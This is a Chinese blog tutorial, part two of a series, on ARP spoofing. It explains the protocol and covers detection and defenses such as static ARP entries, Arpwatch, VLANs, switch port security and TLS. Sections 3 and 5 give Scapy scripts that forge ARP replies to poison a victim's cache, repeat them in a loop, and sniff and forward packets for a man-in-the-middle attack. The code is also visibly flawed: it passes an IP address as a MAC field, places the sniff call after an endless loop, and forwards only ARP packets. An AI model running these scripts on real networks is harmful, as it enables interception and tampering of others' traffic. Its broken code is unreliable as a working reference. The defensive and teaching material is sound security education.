首页 > 其他分享 >ARP欺骗技术:DNS欺骗与HTTP重定向_(2).ARP欺骗原理与机制

ARP欺骗技术:DNS欺骗与HTTP重定向_(2).ARP欺骗原理与机制

时间:2024-11-16 20:17:40浏览次数:3  
标签:ARP HTTP ip MAC victim 主机 攻击者 欺骗

ARP欺骗原理与机制

1. ARP协议简介

ARP(Address Resolution Protocol)协议是用于将IP地址解析为物理地址(通常是MAC地址)的协议。在网络中,计算机之间进行通信时,需要知道对方的MAC地址来构建数据帧。ARP协议通过广播请求和单播响应的方式,实现了从IP地址到MAC地址的动态映射。ARP协议在RFC 826中定义,主要用于IPv4网络。

在这里插入图片描述

1.1 ARP协议的工作流程

  1. ARP请求:当一台主机需要发送数据给另一台主机时,如果目标主机的MAC地址不在其ARP缓存中,它会发送一个ARP请求广播。这个广播包中包含目标主机的IP地址,请求所有主机响应目标主机的MAC地址。

  2. ARP响应:收到ARP请求的主机如果发现自己拥有请求中的IP地址,会发送一个ARP响应单播包。这个响应包中包含自己的MAC地址,发送给请求主机。

  3. ARP缓存更新:请求主机收到ARP响应后,会将目标主机的IP地址和MAC地址的映射关系更新到自己的ARP缓存中,以便后续通信时直接使用。

1.2 ARP协议的数据包格式

ARP协议的数据包格式如下:

| 字段 | 长度(字节) | 描述 |

|----------------|--------------|--------------------------------|

| 硬件类型 | 2 | 指定硬件地址类型,1表示以太网 |

| 协议类型 | 2 | 指定协议地址类型,0x0800表示IPv4 |

| 硬件地址长度 | 1 | 硬件地址的长度,6表示以太网MAC地址 |

| 协议地址长度 | 1 | 协议地址的长度,4表示IPv4地址 |

| 操作码 | 2 | 指定操作类型,1表示请求,2表示响应 |

| 发送方硬件地址 | 6 | 发送方的MAC地址 |

| 发送方协议地址 | 4 | 发送方的IP地址 |

| 目标硬件地址 | 6 | 目标方的MAC地址 |

| 目标协议地址 | 4 | 目标方的IP地址 |

1.3 ARP缓存

ARP缓存是存储IP地址和MAC地址映射关系的临时存储区域。每个主机都有自己的ARP缓存,用于快速查找目标主机的MAC地址。ARP缓存中的条目通常有生存时间(TTL),以防止缓存条目长时间不更新导致错误通信。

2. ARP欺骗的基本原理

ARP欺骗是一种网络攻击技术,攻击者通过伪造ARP响应包,使受害主机将攻击者的MAC地址与目标主机的IP地址绑定,从而截获或篡改受害主机与目标主机之间的通信。ARP欺骗可以分为两种主要类型:单向欺骗和双向欺骗。

2.1 单向欺骗

单向欺骗是指攻击者将自己伪装成目标主机,使受害主机将所有发往目标主机的数据包都发送给攻击者。攻击者可以选择转发这些数据包,或者直接丢弃,从而实现数据截获或拒绝服务攻击。

2.2 双向欺骗

双向欺骗是指攻击者同时将自己伪装成受害主机和目标主机,使两者的通信都经过攻击者。这种情况下,攻击者可以完全控制两者的通信,实现中间人攻击(Man-in-the-Middle, MITM)。

3. ARP欺骗的实现步骤

3.1 确定目标主机

首先,攻击者需要确定目标主机的IP地址和MAC地址。这可以通过网络扫描工具(如Nmap)来实现。


# 使用Nmap扫描网络中的主机

nmap -sn 192.168.1.0/24

3.2 伪造ARP响应包

攻击者使用工具(如Scapy)来伪造ARP响应包。伪造的ARP响应包中,攻击者的MAC地址被绑定到目标主机的IP地址上。


from scapy.all import *



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包

arp_response = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 发送伪造的ARP响应包

send(arp_response)

3.3 更新ARP缓存

受害主机收到伪造的ARP响应包后,会更新其ARP缓存,将目标主机的IP地址绑定到攻击者的MAC地址上。这样,所有发往目标主机的数据包都会被发送到攻击者。

3.4 维持欺骗

为了维持欺骗,攻击者需要定期发送伪造的ARP响应包,以防止受害主机的ARP缓存条目过期。


from scapy.all import *

import time



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包

arp_response = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 定期发送伪造的ARP响应包

while True:

    send(arp_response)

    time.sleep(2)  # 每2秒发送一次

4. ARP欺骗的检测与防御

4.1 检测ARP欺骗

检测ARP欺骗的方法包括:

  1. ARP监控:通过监控网络中的ARP请求和响应,检测异常的ARP包。

  2. ARP缓存检查:定期检查主机的ARP缓存,查找不一致的条目。

4.2 防御ARP欺骗

防御ARP欺骗的方法包括:

  1. 静态ARP表:将关键主机的IP地址和MAC地址绑定为静态条目,防止动态更新。

  2. ARP安全工具:使用专门的ARP安全工具(如Arpwatch)来监控和保护网络。

  3. 网络隔离:通过VLAN等技术隔离不同信任级别的网络,减少攻击面。

5. 实战案例

5.1 案例1:单向欺骗

假设攻击者想要截获受害主机192.168.1.3发往目标主机192.168.1.2的数据包。攻击者可以使用Scapy工具伪造ARP响应包,将自己伪装成目标主机192.168.1.2。

5.1.1 伪造ARP响应包

from scapy.all import *



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包

arp_response = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 发送伪造的ARP响应包

send(arp_response)

5.1.2 维持欺骗

from scapy.all import *

import time



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包

arp_response = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 定期发送伪造的ARP响应包

while True:

    send(arp_response)

    time.sleep(2)  # 每2秒发送一次

5.2 案例2:双向欺骗

假设攻击者想要实现中间人攻击,截获并篡改192.168.1.3和192.168.1.2之间的通信。攻击者可以使用Scapy工具伪造ARP响应包,将自己伪装成这两台主机。

5.2.1 伪造ARP响应包

from scapy.all import *



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包,将自己伪装成目标主机

arp_response1 = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 伪造ARP响应包,将自己伪装成受害主机

arp_response2 = ARP(op=2, psrc=victim_ip, pdst=target_ip, hwdst=target_ip, hwsrc=attacker_mac)



# 发送伪造的ARP响应包

send(arp_response1)

send(arp_response2)

5.2.2 维持欺骗

from scapy.all import *

import time



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"



# 伪造ARP响应包,将自己伪装成目标主机

arp_response1 = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 伪造ARP响应包,将自己伪装成受害主机

arp_response2 = ARP(op=2, psrc=victim_ip, pdst=target_ip, hwdst=target_ip, hwsrc=attacker_mac)



# 定期发送伪造的ARP响应包

while True:

    send(arp_response1)

    send(arp_response2)

    time.sleep(2)  # 每2秒发送一次

5.2.3 数据包截获与转发

攻击者可以使用Scapy工具截获并转发数据包,实现中间人攻击。


from scapy.all import *

import time



# 定义目标主机和受害主机的IP地址和MAC地址

target_ip = "192.168.1.2"

victim_ip = "192.168.1.3"

attacker_mac = "00:11:22:33:44:55"

target_mac = "00:00:00:00:00:01"

victim_mac = "00:00:00:00:00:02"



# 伪造ARP响应包,将自己伪装成目标主机

arp_response1 = ARP(op=2, psrc=target_ip, pdst=victim_ip, hwdst=victim_ip, hwsrc=attacker_mac)



# 伪造ARP响应包,将自己伪装成受害主机

arp_response2 = ARP(op=2, psrc=victim_ip, pdst=target_ip, hwdst=target_ip, hwsrc=attacker_mac)



# 定期发送伪造的ARP响应包

while True:

    send(arp_response1)

    send(arp_response2)

    time.sleep(2)  # 每2秒发送一次



# 截获并转发数据包

def forward_packet(packet):

    if packet[ARP].op == 2:

        if packet[ARP].psrc == target_ip and packet[ARP].pdst == victim_ip:

            packet[ARP].hwdst = victim_mac

            sendp(packet)

        elif packet[ARP].psrc == victim_ip and packet[ARP].pdst == target_ip:

            packet[ARP].hwdst = target_mac

            sendp(packet)



# 监听网络中的数据包

sniff(filter="arp", prn=forward_packet)

6. ARP欺骗的影响与危害

6.1 影响

  1. 数据截获:攻击者可以截获受害主机与目标主机之间的所有数据包,包括敏感信息。

  2. 中间人攻击:攻击者可以篡改数据包内容,插入恶意代码或进行流量分析。

  3. 拒绝服务攻击:攻击者可以通过伪造ARP响应包使受害主机的ARP缓存条目错误,导致网络通信中断。

6.2 危害

  1. 隐私泄露:攻击者可以获取用户的敏感信息,如用户名、密码等。

  2. 数据篡改:攻击者可以篡改数据包内容,导致数据不一致或错误操作。

  3. 网络瘫痪:攻击者可以通过拒绝服务攻击使整个网络瘫痪,影响正常业务。

7. ARP欺骗的防御措施

7.1 静态ARP表

将关键主机的IP地址和MAC地址绑定为静态条目,防止动态更新。


# 在受害主机上设置静态ARP条目

arp -s 192.168.1.2 00:00:00:00:00:01

7.2 ARP安全工具

使用专门的ARP安全工具(如Arpwatch)来监控和保护网络。


# 安装Arpwatch

sudo apt-get install arpwatch



# 配置Arpwatch

sudo nano /etc/arpwatch/arpwatch.conf



# 启动Arpwatch

sudo service arpwatch start

7.3 网络隔离

通过VLAN等技术隔离不同信任级别的网络,减少攻击面。


# 创建VLAN

sudo vconfig add eth0 10



# 配置VLAN接口

sudo ifconfig eth0.10 192.168.10.1 netmask 255.255.255.0 up

7.4 使用安全协议

使用安全协议(如TLS/SSL)来加密通信,防止数据被截获或篡改。


import ssl

import socket



# 创建一个安全的SSL连接

context = ssl.create_default_context()

with socket.create_connection(('example.com', 443)) as sock:

    with context.wrap_socket(sock, server_hostname='example.com') as ssock:

        print(ssock.version())

7.5 启用端口安全

在交换机上启用端口安全,限制每个端口可以使用的MAC地址数量。


# 在Cisco交换机上启用端口安全

conf t

int gig0/1

switchport port-security

switchport port-security mac-address sticky

switchport port-security maximum 1

7.6 使用ARP欺骗检测工具

使用专门的ARP欺骗检测工具(如Sniffex)来检测网络中的ARP欺骗攻击。


# 安装Sniffex

sudo apt-get install sniffex



# 运行Sniffex

sudo sniffex -i eth0 -a

8. 结论

本节详细介绍了ARP欺骗的基本原理和实现步骤,包括单向欺骗和双向欺骗。同时,讨论了ARP欺骗的影响与危害,以及常见的防御措施。通过这些内容,读者可以更好地理解ARP欺骗技术,从而采取有效的防御措施保护网络的安全。

标签:ARP,HTTP,ip,MAC,victim,主机,攻击者,欺骗
From: https://blog.csdn.net/chenlz2007/article/details/143782634

相关文章

  • ARP欺骗技术:DNS欺骗与HTTP重定向_(3).ARP欺骗的攻击方法
    ARP欺骗的攻击方法在上一节中,我们讨论了ARP协议的基本工作原理以及如何利用Python库进行ARP请求和响应的发送。本节将深入探讨ARP欺骗的具体攻击方法,包括如何通过ARP欺骗进行中间人攻击(Man-in-the-Middle,MITM),并详细说明DNS欺骗与HTTP重定向的技术细节。1.ARP欺骗的基本......
  • ARP欺骗技术:DNS欺骗与HTTP重定向_(4).ARP欺骗的防御措施
    ARP欺骗的防御措施1.静态ARP表1.1原理静态ARP表是一种将特定IP地址与MAC地址绑定的方法,以防止动态ARP表被恶意修改。通过静态ARP表,网络管理员可以手动配置IP地址和MAC地址的对应关系,从而确保这些关系不会被ARP欺骗攻击所改变。1.2内容静态ARP表的设置通常在路由器......
  • CTF web解题 PHP http referer xff使用 burpsuite使用 新手入门 [SWPUCTF 2022 新生赛
    每日emo:burp可以抓包,你可以抓住到她的心吗?[SWPUCTF2022新生赛]xffFlag:NSSCTF{th1s_xff_1s_e4ay}打开靶机抓个包看一下根据打开靶机显示MustbeaccessedfromXiaohong'sowncomputer.传入X-Forwarded-For到127.0.0.1根据提示添加Referer到127.0.0.1......
  • [Codeforces Round 987 (Div. 2)](https://codeforces.com/contest/2031)解题报告
    CodeforcesRound987(Div.2)太好了是阳间场,我们有救了感觉脑子生锈了qwq,F题做不出来A分析知如果有\(i<j\)且\(a_i>a_j\)的情况出现则\(i\)和\(j\)一定至少改一个。所以答案即为\(n-cnt\),\(cnt\)为众数个数。B发现一个数离自己原本的位置距离不会超过\(1\),有......
  • HTTP协议介绍
    HTTP协议介绍一、HTTP-概述概念:HyperTextTransferProtocol,超文本传输协议,规定了浏览器和服务器之间数据传输规则。特点:1、基于TCP协议:面向连接,安全2、基于请求-响应模型的:一次请求对应一次响应3、HTTP协议是无状态的协议:对于事务处理没有记忆能力。每次请求-响应......
  • DHCP欺骗
    DHCP欺骗原理DHCP协议(DynamicHostConfigurationProtocol)动态主机配置协议:主要给客户机提供TCP/IP参数,包括:IP地址、子网掩码、网关、DNS、租期工作原理应用层协议,基于UDP主机向服务器67号端口发送DHCP请求服务器响应给客户机的68号端口配置设置DH......
  • https实验
    https实验原理httphttpshttps=http+SSL/TLS•SSL:SecureSocketLayer安全套接层•TLS:TransportLayerSecurity传输层安全协议加密方式:PKI(公钥基础设施)使用公钥技术和数字签名来保证信息安全由公钥密码算法、数字证书(Certificate)、CA(Certificate......
  • DNS欺骗
    DNS欺骗原理将域名和IP地址的相互映射关系存放在一个分布式的数据库中DNS欺骗原理攻击者冒充DNS服务器,为被攻击主机提供错误的IP地址基于ARP攻击本质上属于MITM(中间人攻击)网络层通过ARP欺骗实现身份伪造应用层通过软件/脚本发送伪造虚假DNS响应报文配......
  • http自动设置自动代理的问题
    1、在系统中,已经去掉了自动代理,但是在使用selenium的时候,无法启动webdriver.chrome()2、必须使用如下代码,清除环境变量通过打印os.environ看出'HTTP_PROXY':'http://127.0.0.1:8080', proxy_env_vars={'HTTP_PROXY','HTTPS_PROXY','http_proxy','http......
  • HTTP 安全头配置:如何配置 HTTP 安全头来保护应用
    文章目录前言一、常用的HTTP安全头1.1Strict-Transport-Security(HSTS)1.2Content-Security-Policy(CSP)1.3X-Frame-Options(XFO)1.4X-Content-Type-Options1.5X-XSS-Protection1.6Referrer-Policy1.7Feature-Policy二、实践案例2.1项目结构2.2客户端代码......